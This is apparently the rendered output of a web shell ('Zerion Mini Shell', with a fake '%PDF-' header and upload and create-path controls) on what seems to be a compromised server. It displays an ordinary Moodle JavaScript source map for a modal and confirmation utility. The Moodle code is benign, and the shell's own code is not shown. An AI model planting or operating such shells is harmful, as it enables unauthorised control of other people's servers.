%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/ava/lib/amd/build/
Upload File :
Create Path :
Current File : /home/vacivi36/ava/lib/amd/build/utility.min.js.map

{"version":3,"file":"utility.min.js","sources":["../src/utility.js"],"sourcesContent":["// This file is part of Moodle - http://moodle.org/\n//\n// Moodle is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// Moodle is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.\n\n/**\n * Javascript handling for HTML attributes. This module gets autoloaded on page load.\n *\n * With the appropriate HTML attributes, various functionalities defined in this module can be used such as a displaying\n * an alert or a confirmation modal, etc.\n *\n * @module     core/utility\n * @copyright  2021 Andrew Nicols <andrew@nicols.co.uk>\n * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later\n * @since      4.0\n *\n * @example <caption>Calling the confirmation modal to delete a block</caption>\n *\n * // The following is an example of how to use this module via an indirect PHP call with a button.\n *\n * $controls[] = new action_menu_link_secondary(\n *     $deleteactionurl,\n *     new pix_icon('t/delete', $str, 'moodle', array('class' => 'iconsmall', 'title' => '')),\n *     $str,\n *     [\n *         'class' => 'editing_delete',\n *         'data-modal' => 'confirmation', // Needed so this module will pick it up in the click handler.\n *         'data-modal-title-str' => json_encode(['deletecheck_modal', 'block']),\n *         'data-modal-content-str' => json_encode(['deleteblockcheck', 'block', $blocktitle]),\n *         'data-modal-yes-button-str' => json_encode(['delete', 'core']),\n *         'data-modal-toast' => 'true', // Can be set to inform the user that their action was a success.\n *         'data-modal-toast-confirmation-str' => json_encode(['deleteblockinprogress', 'block', $blocktitle]),\n *         'data-modal-destination' => $deleteconfirmationurl->out(false), // Where do you want to direct the user?\n *     ]\n * );\n */\n\nimport * as Str from 'core/str';\nimport Pending from 'core/pending';\nimport {add as addToast} from 'core/toast';\nimport {saveCancelPromise, exception} from 'core/notification';\n\n// We want to ensure that we only initialize the listeners only once.\nlet registered = false;\n\n/**\n * Either fetch the string or return it from the dom node.\n *\n * @method getConfirmationString\n * @private\n * @param {HTMLElement} dataset The page element to fetch dataset items in\n * @param {String} type The type of string to fetch\n * @param {String} field The dataset field name to fetch the contents of\n * @return {Promise}\n *\n */\nconst getModalString = (dataset, type, field) => {\n    if (dataset[`${type}${field}Str`]) {\n        return Str.get_string.apply(null, JSON.parse(dataset[`${type}${field}Str`]));\n    }\n    return Promise.resolve(dataset[`${type}${field}`]);\n};\n\n/**\n * Display a save/cancel confirmation.\n *\n * @private\n * @param {HTMLElement} source The title of the confirmation\n * @param {String} type The content of the confirmation\n * @returns {Promise}\n */\nconst displayConfirmation = (source, type) => {\n    return saveCancelPromise(\n        getModalString(source.dataset, type, 'Title'),\n        getModalString(source.dataset, type, 'Content'),\n        getModalString(source.dataset, type, 'YesButton'),\n    )\n    .then(() => {\n        if (source.dataset[`${type}Toast`] === 'true') {\n            const stringForToast = getModalString(source.dataset, type, 'ToastConfirmation');\n            if (typeof stringForToast === \"string\") {\n                addToast(stringForToast);\n            } else {\n                stringForToast.then(str => addToast(str)).catch(e => exception(e));\n            }\n        }\n        window.location.href = source.dataset[`${type}Destination`];\n        return;\n    }).catch(() => {\n        return;\n    });\n};\n\n/**\n * Display an alert and return the promise from it.\n *\n * @private\n * @param {String} title The title of the alert\n * @param {String} content The content of the alert\n * @returns {Promise}\n */\nconst displayAlert = async(title, content) => {\n    const pendingPromise = new Pending('core/confirm:alert');\n\n    const ModalFactory = await import('core/modal_factory');\n\n    return ModalFactory.create({\n        type: ModalFactory.types.ALERT,\n        title: title,\n        body: content,\n        removeOnClose: true,\n    })\n    .then(function(modal) {\n        modal.show();\n        pendingPromise.resolve();\n\n        return modal;\n    });\n};\n\n/**\n * Set up the listeners for the confirmation modal widget within the page.\n *\n * @method registerConfirmationListeners\n * @private\n */\nconst registerConfirmationListeners = () => {\n    document.addEventListener('click', e => {\n        const confirmRequest = e.target.closest('[data-confirmation=\"modal\"]');\n        if (confirmRequest) {\n            e.preventDefault();\n            displayConfirmation(confirmRequest, 'confirmation');\n        }\n\n        const modalConfirmation = e.target.closest('[data-modal=\"confirmation\"]');\n        if (modalConfirmation) {\n            e.preventDefault();\n            displayConfirmation(modalConfirmation, 'modal');\n        }\n\n        const alertRequest = e.target.closest('[data-modal=\"alert\"]');\n        if (alertRequest) {\n            e.preventDefault();\n            displayAlert(\n                getModalString(alertRequest.dataset, 'modal', 'Title'),\n                getModalString(alertRequest.dataset, 'modal', 'Content'),\n            );\n        }\n    });\n};\n\nif (!registered) {\n    registerConfirmationListeners();\n    registered = true;\n}\n"],"names":["registered","getModalString","dataset","type","field","Str","get_string","apply","JSON","parse","Promise","resolve","displayConfirmation","source","then","stringForToast","str","catch","e","window","location","href","document","addEventListener","confirmRequest","target","closest","preventDefault","modalConfirmation","alertRequest","async","title","content","pendingPromise","Pending","ModalFactory","create","types","ALERT","body","removeOnClose","modal","show","displayAlert","registerConfirmationListeners"],"mappings":"iwCAqDIA,YAAa,QAaXC,eAAiB,CAACC,QAASC,KAAMC,QAC/BF,kBAAWC,aAAOC,cACXC,IAAIC,WAAWC,MAAM,KAAMC,KAAKC,MAAMP,kBAAWC,aAAOC,gBAE5DM,QAAQC,QAAQT,kBAAWC,aAAOC,SAWvCQ,oBAAsB,CAACC,OAAQV,QAC1B,mCACHF,eAAeY,OAAOX,QAASC,KAAM,SACrCF,eAAeY,OAAOX,QAASC,KAAM,WACrCF,eAAeY,OAAOX,QAASC,KAAM,cAExCW,MAAK,QACqC,SAAnCD,OAAOX,kBAAWC,eAAyB,OACrCY,eAAiBd,eAAeY,OAAOX,QAASC,KAAM,qBAC9B,iBAAnBY,8BACEA,gBAETA,eAAeD,MAAKE,MAAO,cAASA,OAAMC,OAAMC,IAAK,2BAAUA,KAGvEC,OAAOC,SAASC,KAAOR,OAAOX,kBAAWC,wBAE1Cc,OAAM,SA+DRjB,aAzBiC,MAClCsB,SAASC,iBAAiB,SAASL,UACzBM,eAAiBN,EAAEO,OAAOC,QAAQ,+BACpCF,iBACAN,EAAES,iBACFf,oBAAoBY,eAAgB,uBAGlCI,kBAAoBV,EAAEO,OAAOC,QAAQ,+BACvCE,oBACAV,EAAES,iBACFf,oBAAoBgB,kBAAmB,gBAGrCC,aAAeX,EAAEO,OAAOC,QAAQ,wBAClCG,eACAX,EAAES,iBAzCOG,OAAMC,MAAOC,iBACxBC,eAAiB,IAAIC,iBAAQ,sBAE7BC,2nBAECA,aAAaC,OAAO,CACvBjC,KAAMgC,aAAaE,MAAMC,MACzBP,MAAOA,MACPQ,KAAMP,QACNQ,eAAe,IAElB1B,MAAK,SAAS2B,cACXA,MAAMC,OACNT,eAAetB,UAER8B,UA2BHE,CACI1C,eAAe4B,aAAa3B,QAAS,QAAS,SAC9CD,eAAe4B,aAAa3B,QAAS,QAAS,iBAO1D0C,GACA5C,YAAa"}

Zerion Mini Shell 1.0